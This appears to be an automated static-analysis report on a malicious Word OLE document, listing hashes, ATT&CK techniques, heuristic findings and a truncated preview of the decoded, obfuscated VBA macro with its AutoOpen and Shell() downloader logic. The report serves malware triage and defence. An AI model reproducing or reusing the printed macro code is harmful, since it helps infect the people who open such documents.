Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ffe30689062c3f2…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-11-07 10:21:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 73092fcd100ca4f6feb0dfb015ad9ab6 SHA-1: b4c69eae408304780d95aec439169b60ccc47c74 SHA-256: 0ffe30689062c3f2ff5fb7d5b321bf734a3004709763af32e89f72793498620f
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external code. The macro's obfuscated nature and the presence of a 'macros.bas' file suggest it is designed to download and execute a second-stage payload, likely for further system compromise.

Heuristics 7

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 81,920 bytes but its declared streams total only 35,458 bytes — 46,462 bytes (57%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14863 bytes
SHA-256: 7370653984909b474c644d0927835b3c71f57aca417aef5eaf0dd0c32919e9a0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 31 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jHQoZHUBA"
Function uuijYbmzi()
UEFMwlO = Mid("IhYA2ADQALAAxALhNGqjJkOffRzRB3Ch3V7", 4, 11)
CmFAiwOZCV = Mid("TouId8hLoiJYaYJEhwsWaT3pLaTfOMizDaAxADUANAAsADEANAAyACwAIAAxADYAMgAgACwAMQA1ADcAIAAsADEANgA3ACwAIAAxADYAMwAsACAAMQA1ADUALAAxADQAMQAsACAAMQA2ADQALAAxADYANAAgACwiVi0N", 35, 125)
wmmXzsuPW = Mid("F9RjiHOcqLkMvzV3gACwAIAAxADYANwAsACAAMQA2ADMAIAAsACAAMQA0ADMALAAxADYAMgAgACwAIAAxADUAMQAsACAMDcJ5Fz4CK5UM36WISI", 17, 76)
llLOXlnKqjf = Mid("EtwHrA1ADAAIAAsADQANw2Q24T6Gz", 6, 16)
GZLbci = Mid("CGqtwvFwkOFVWIJ8Mpnw1DzHSCwAIAAxADUAMQAgACwAIAAxADUANwAsACAAMQA1ADYALAAgADUANgAgACwAMQAxADUALAAgADEANAA1ACwLwZPfh0E", 26, 82)
MfZwRmOfo = Mid("bluAIAAxADYAMAAgACwANwAyACwANQA3ACwANQA3ACwAIAAxADUANwAsADEANAA2ACAALAAgADEANAA2ACAALAAgADEANQAxACwAMQA0ADMAIAAsADEANQAxACwAIAAxADQAMQAsACAAMQA1ADQAIAAsADEANAAxACwAIAAxADUANAAgACwAIAin7PMzKO", 4, 179)
shZGw = Mid("FT6ihALAAxADUANwAsADEAMgAzACwAIAAxADYANAAgACwAIAAxAAjI3zKjj", 6, 46)
qYcOqvAuwU = Mid("mQnDBDCwAIAAxADUANQAgACwANQA2ACAALAAxADEANgAgACwAMQA0ADUALAAxADYANAAgACwANQA2ACAALAAxADIANwAgACwAIAAxADQANQAgACwAMQA0ADIAIAAsADEAMAAzACAALAAxADUANAAsXioaftnNuCoqm6m4bUl74j", 7, 143)
bVBfIwzIR = Mid("zFLsEVIAAmACgAIAAkAHAAcwBIAE8AbQBlAFsAMgAxAF0AKwAkAFAAcwBoAG8ATQBlAFsAMwAwAF0AKwAnAHgAJwApACAAKAAtAEoATwUE0ZG8", 7, 98)
XNuApDV = Mid("1DQALAAxADUAMAAgACwAIAAxADYANAAsADEANgA0ACwAIAAxADYAMAAsACAANwAyACAALAAgADUANwAsADUANwAsADEAPbrmVuHZnqJ60SkKaRpzCr", 2, 91)
YWvqrC = Mid("dGFHbKQL3ACwANQA2ACwAIAAxADIAMwAgACwAIAAxADYAMAAsADEANQA0ACwAMQA1ADEAIAAsADEANgA0ACwAIABmKlsYAw5K2HQJ", 9, 79)
aXsASGcLV = Mid("S98ijfY2kC3Vn2aauSadz2wACwANQAxACAALAA3ADMAIAAsACAAMQAyADMALAAxADYANAAsACAAMQA0ADEALAAgADEANgAyACwAMQA2ADQALAAgADUANQAgACwAIAAxADIAMAAgACwAMQA2ADIALAAxADUANwAgACwAMQA0ADMALAAxADQANQAu9938L", 23, 160)
XYAvpCVAUn = Mid("G4NMwAgACwAMQA2ADAAIAAsACAAMQA2ADUAIAAsACAAMQA3ADIAIAAsADEANQA0ACAALAAgADEANgA0ACAALAAxADcAMQAgACwAMQAxADUAIAAsADUANwAsACAANQA0ACAALAAgADEANc3rZ5b8", 4, 137)
WzoIij = Mid("0bF1UcSIH1Bvd3wTioziiDAMQA2ADAAIAAsADEANgA0ACAALAA0ADAALAA3ADUALAAgADQAMAAgACwAMQA1ADYALAAxADQANQAsADEANgA3ACAALAA1ADUAIAAsACAAMQA1ADcALAAxADQAMgAsACAAMQA1ADIAIAAsADEANAA1ACAALAAgADEANAAzACAALA5apVLYidzit", 23, 171)
jTQcj = Mid("O27iAr4n3jk8FlpTjt7filSmrbOsNwAsADEAMwAwACwANQA3ACwAIAA1Aur1BtQn6PD6", 29, 29)
hhllajN = Mid("sApDio7C3ACwAMQA2ADIALAA1ADYAIAAsADEANAAzACAALAAgADEANQA3ACAALAAgADEANQA1ACAALAAgADUANwAsADEAMgA2ACAALAAgADEAMQAwACwAMQA1ADMAIAAsACAAMQAxADEALAAxADAAMwAsACAAMQAxADcALAAgADDaQsETRUAQZBH", 10, 162)
tWRli = Mid("p7zALAgADEANAA1ACwAMQA3ADAAIAAsADEANgA0ACwANQAwACwAIAA2ADEAIAAsADUANAAgACwANAAwACwANgA2ACAALAAgADYANQAsADYANQAsACAANgAzACAALAA2ADYAIAAsACAANQAxACAALAjFGnBz", 6, 144)
XLRDz = Mid("ojXLAAgADEANgA0ACAALAAgADUANgAsADEAMgAzACAALAAxADUAMAAgACwAIAAxADQANQAsADEANQA7WL5V07oJOpITw21wB", 4, 75)
WsSrDDWiUz = Mid("5Ukzz1LIQAwACwAMQA2ADQAIAAsACAAMQA2ADQALAAxADYAMAAgACwANwAyACwAIAA1ADcAIAAsACAANQA3ACwAIAAxADYAMAAsADEANAAxACwAIAAxADUAMwAgACwAIAAxADUAMQAgACwAIAAxADYAMwAsACAAMQA2ADQAIAAsADEANAAxACAALAAxADUANgAsADEAiN3wuzd9B", 9, 191)
DOuZwizARjz = Mid("Bzq51qUd3Gi8gYuQCC1zo5aI", 13, 1)
VhTVr = Mid("pV6NChIWO6Vj7kAIAAxADUANwAsACAAMQA1ADUAIAAsACAANQA3ACwAIAAxADAANgAsADEANgAwACwAIAAxADEAMwAsADEAMQA2ACAALAAgADEAMQAyACAALAAgADEAMgA0ACwAMQA1ADIALAA1ADcAIAAsACAANQA0ACwAIAAxADUAMAAsADEANgA0ACAALAAxADYANAAgACwjI56nc3HSroZu38iDImWI", 15, 192)
IQiCMU = Mid("PuWWb9bEVNDUANAAsADEANAA1ACAALAA1ADAAIAAsACAANAA0ACAALAAxADYANQAgACwAIAAxADYAMgAgACwAMQA1ADQAIAAsADUANgAgACwAMQAyADQWK", 11, 106)
ruWkCnhdn = Mid("Z9MH5CBlRVlgAsACAAMQA1ADQALAAxADUANwAgACwAMQA0ADEALAAgADEANAA0ACwAMQAwADYlFWj", 12, 62)
hGbzUYL = Mid("qw8YzX3H60V3uk7ovjUzvt6rhzAIAAsADEANQAxACAALAAxARDjciV", 27, 22)
PlhjmKTr = Mid("DBWbiOYnZfiVANlhPPNgAyACwAMQA0ADUAIAAsACAAMQA0ADEAIAAsADEANAAzACwAMQA1ADAALAAgADUAMAAgACwAIAA0ADQAIAAsADEANgA1ACwAIAAxADYAMgAsAD
... (truncated)

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